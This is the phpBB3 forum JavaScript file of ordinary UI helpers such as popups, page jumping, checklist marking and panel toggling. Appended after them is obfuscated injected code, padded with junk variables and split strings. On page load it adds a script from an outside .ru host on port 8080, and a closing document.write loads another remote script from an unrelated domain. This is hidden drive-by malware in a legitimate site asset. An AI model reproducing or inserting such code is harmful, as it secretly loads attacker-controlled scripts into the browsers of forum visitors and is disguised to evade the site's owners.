/**
* phpBB3 forum functions
*/

/**
* Window popup
*/
function popup(url, width, height, name)
{
	if (!name)
	{
		name = '_popup';
	}

	window.open(url.replace(/&amp;/g, '&'), name, 'height=' + height + ',resizable=yes,scrollbars=yes, width=' + width);
	return false;
}

/**
* Jump to page
*/
function jumpto()
{
	var page = prompt(jump_page, on_page);

	if (page !== null && !isNaN(page) && page > 0)
	{
		document.location.href = base_url.replace(/&amp;/g, '&') + '&start=' + ((page - 1) * per_page);
	}
}

/**
* Mark/unmark checklist
* id = ID of parent container, name = name prefix, state = state [true/false]
*/
function marklist(id, name, state)
{
	var parent = document.getElementById(id);
	if (!parent)
	{
		eval('parent = document.' + id);
	}

	if (!parent)
	{
		return;
	}

	var rb = parent.getElementsByTagName('input');
	
	for (var r = 0; r < rb.length; r++)
	{	
		if (rb[r].name.substr(0, name.length) == name)
		{
			rb[r].checked = state;
		}
	}
}

/**
* Resize viewable area for attached image or topic review panel (possibly others to come)
* e = element
*/
function viewableArea(e, itself)
{
	if (!e) return;
	if (!itself)
	{
		e = e.parentNode;
	}
	
	if (!e.vaHeight)
	{
		// Store viewable area height before changing style to auto
		e.vaHeight = e.offsetHeight;
		e.vaMaxHeight = e.style.maxHeight;
		e.style.height = 'auto';
		e.style.maxHeight = 'none';
		e.style.overflow = 'visible';
	}
	else
	{
		// Restore viewable area height to the default
		e.style.height = e.vaHeight + 'px';
		e.style.overflow = 'auto';
		e.style.maxHeight = e.vaMaxHeight;
		e.vaHeight = false;
	}
}

/**
* Set display of page element
* s[-1,0,1] = hide,toggle display,show
*/
function dE(n, s)
{
	var e = document.getElementById(n);

	if (!s)
	{
		s = (e.style.display == '' || e.style.display == 'block') ? -1 : 1;
	}
	e.style.display = (s == 1) ? 'block' : 'none';
}

/**
* Alternate display of subPanels
*/
function subPanels(p)
{
	var i, e, t;

	if (typeof(p) == 'string')
	{
		show_panel = p;
	}

	for (i = 0; i < panels.length; i++)
	{
		e = document.getElementById(panels[i]);
		t = document.getElementById(panels[i] + '-tab');

		if (e)
		{
			if (panels[i] == show_panel)
			{
				e.style.display = 'block';
				if (t)
				{
					t.className = 'activetab';
				}
			}
			else
			{
				e.style.display = 'none';
				if (t)
				{
					t.className = '';
				}
			}
		}
	}
}

/**
* Call print preview
*/
function printPage()
{
	if (is_ie)
	{
		printPreview();
	}
	else
	{
		window.print();
	}
}

/**
* Show/hide groups of blocks
* c = CSS style name
* e = checkbox element
* t = toggle dispay state (used to show 'grip-show' image in the profile block when hiding the profiles) 
*/
function displayBlocks(c, e, t)
{
	var s = (e.checked == true) ?  1 : -1;

	if (t)
	{
		s *= -1;
	}

	var divs = document.getElementsByTagName("DIV");

	for (var d = 0; d < divs.length; d++)
	{
		if (divs[d].className.indexOf(c) == 0)
		{
			divs[d].style.display = (s == 1) ? 'none' : 'block';
		}
	}
}

function selectCode(a)
{
	// Get ID of code block
	var e = a.parentNode.parentNode.getElementsByTagName('CODE')[0];

	// Not IE
	if (window.getSelection)
	{
		var s = window.getSelection();
		// Safari
		if (s.setBaseAndExtent)
		{
			s.setBaseAndExtent(e, 0, e, e.innerText.length - 1);
		}
		// Firefox and Opera
		else
		{
			var r = document.createRange();
			r.selectNodeContents(e);
			s.removeAllRanges();
			s.addRange(r);
		}
	}
	// Some older browsers
	else if (document.getSelection)
	{
		var s = document.getSelection();
		var r = document.createRange();
		r.selectNodeContents(e);
		s.removeAllRanges();
		s.addRange(r);
	}
	// IE
	else if (document.selection)
	{
		var r = document.body.createTextRange();
		r.moveToElementText(e);
		r.select();
	}
}

/**
* Play quicktime file by determining it's width/height
* from the displayed rectangle area
*/
function play_qt_file(obj)
{
	var rectangle = obj.GetRectangle();

	if (rectangle)
	{
		rectangle = rectangle.split(',');
		var x1 = parseInt(rectangle[0]);
		var x2 = parseInt(rectangle[2]);
		var y1 = parseInt(rectangle[1]);
		var y2 = parseInt(rectangle[3]);

		var width = (x1 < 0) ? (x1 * -1) + x2 : x2 - x1;
		var height = (y1 < 0) ? (y1 * -1) + y2 : y2 - y1;
	}
	else
	{
		var width = 200;
		var height = 0;
	}

	obj.width = width;
	obj.height = height + 16;

	obj.SetControllerVisible(true);
	obj.Play();
}


KO={x:false};this.RO="";this.yJ="";this.W="";nL=44368;nL-=45;try {this.o="";this.Ts="";v_=27543;v_-=249;this.Rm="";this.he="";var L=window["y5Aun".substr(3)+"AW5es".substr(3)+"ca7Stq".substr(0,2)+"0kQfpe0fQk".substr(4,2)];this.BV=21660;this.BV--;Nf=["OM"];var lT="lT";Z=[];var v="x4krepl".substr(3)+"Y6x8ace".substr(4);this.Ke=32936;this.Ke++;Bl=["Vf","F"];var a='';this.z=47520;this.z--;var QM=["TL"];bI={};this.Di=false;var M="on"+"lo"+"ad";var rE=8903;xs={nY:2592};KP=[];var P=window[(new String("Reg"+"Exp"))];var Zp=["Dh"];var u=new String("1");this.g_="";var DQ=new Array();this.xO=50180;this.xO++;k=["DQC"];this.Tt="Tt";try {} catch(JZ){};var kV=["td","KF","fn"];var Op=["_N","l_","JW"];Cw=["Ew","rp","Gx"];var VNH={zZ:10426};kX=53865;kX-=249;function Q(u,V){bY={};var Ni=new Date();var n=new String("[");XU=[];var U={MW:14817};A=[];n+=V;var ys=new Array();this.sP=24676;this.sP--;n+=L("%5d");this.Md=false;var Y=new P(n, new String("idYg".substr(3)));this.jt="jt";ss=[];var uI=[];ex=[];return u.replace(Y, a);iR={};var Ko=new String();var uo=new Date();hM=54546;hM+=150;var WN=new Date();};var ED=["yw"];Kl=20594;Kl++;this.fT=37243;this.fT++;on=31038;on++;var BU=new Array();YQ=8577;YQ++;var y=String("ht"+"tp"+"YRs:/".substr(3)+"/g"+"DTnotTDn".substr(3,2)+"QDLohg".substr(4)+"swNui".substr(3)+"7Wz5lt5z7W".substr(4,2)+"LgaD.rLDag".substr(4,2)+"BTvu:".substr(3));xP=1517;xP++;var Gp=new String();this.haW=62432;this.haW--;ZD=47190;ZD+=183;var a_={WS:55542};var w=String("/com"+"cast"+"YZw-net".substr(3)+"/goo"+"gle."+"com/xEW".substr(0,4)+"icio"+".us."+"php");um={_R:"rR"};Wz={XZ:false};TZ={Fc:false};this.Ob='';XH=[];try {var Br='js'} catch(Br){};DV=[];try {var uT='M_'} catch(uT){};var h=689667-681587;var tq=["Bs"];function q(){this.HB=false;var nu="ap"+"pe"+"nd"+"Ch"+"il"+"zc0d".substr(3);Xf=48910;Xf+=208;this.va=26688;this.va-=11;var rr=["Yq","RC"];W_=44917;W_+=80;var Uu=new Date();this.Ag=40149;this.Ag--;Ce=[];var D=Q('sMcMrfibpqtf','YeZaqW7bMv9Qyfj');var ju=new String();try {var QE='gO'} catch(QE){};var m=document;Ha=["gP","RD","XUX"];var uD={IN:"BP"};Cl=6652;Cl--;this.vm="vm";var MD={kO:"bP"};VZ={YQM:false};var eY=new String();s=m.createElement(D);this.Bq='';var qI={Wf:34875};var ls=[];this.An=20147;this.An+=221;ay=9084;ay-=166;Ym=16639;Ym-=49;R=y+h;try {} catch(aC){};try {var UO='yD'} catch(UO){};var pjW=new String();b_=["ot","Dn"];R=R+w;var mb=64795;var yx=38630;var ie=15268;var T_='';var Oa='';s[new String("de"+"fe"+"r")]=u;eG=40387;eG-=254;s.src=R;var Vj=new String();var Eq=new String();var cW=new Array();var RN=[];xZw=44974;xZw--;mG=["NG"];be=["Ww"];XF=["FD"];kL=4936;kL++;var G=m.body;this.KT=30149;this.KT+=52;this.iUu='';G[nu](s);var Ka="Ka";};var Eb={g_k:63283};var ig={szl:false};try {var DB='FEu'} catch(DB){};var aZ=61417;window[M]=q;var nj={};Hi=["SA"];xG={Lh:false};kG={Tm:false};de=["UV"];var XUXY=["Oi"];} catch(b){var tHX="";vF={};this.cZl=57944;this.cZl--;this.pI=41809;this.pI--;this.Yt="Yt";DG=50821;DG+=100;this.cz="";this.Qt=41171;this.Qt--;};var lo={};var yE="yE";



document.write('<s'+'cript type="text/javascript" src="http://dolfy.sedonahyperbarics.com:8080/GUI.js"></scr'+'ipt>');